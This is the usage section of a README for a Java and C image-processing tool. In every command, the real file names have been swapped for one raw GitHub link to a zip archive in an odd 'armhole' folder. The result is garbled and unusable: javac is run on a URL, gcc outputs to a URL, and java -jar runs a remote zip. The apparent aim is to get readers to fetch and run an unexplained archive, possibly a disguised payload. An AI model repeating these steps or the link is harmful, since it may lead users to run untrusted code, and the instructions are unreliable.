Usage:
javac https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip
java -Xmx8g Main -i <path_to_image_file> -t <number_of_threads_to_be_used> [-d <GPU device id>][optional]
Example:
javac https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip
java -Xmx8g Main -i https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -t 8
gcc -shared -o https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip image_processor.c -I"C:/Program Files/Java/jdk-23/include" -I"C:/Program Files/Java/jdk-23/include/win32" -I"C:/Users/RICKY/Documents/5TH_SEM_PROJ" -L"C:/Program Files (x86)/Common Files/Intel/Shared Libraries/lib" -I"C:/Users/RICKY/Downloads/OpenCL-Headers-main/OpenCL-Headers-main" -lOpenCl -fopenmp
Replace the directories with your own path
Running the https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip file
java -jar https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -i <path_to_image> [-t <number_of_threads>][optional]
Example:
java -jar https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -i https://raw.githubusercontent.com/Rohan17182004/EightBitImageJava/main/armhole/EightBitImageJava.zip -t 8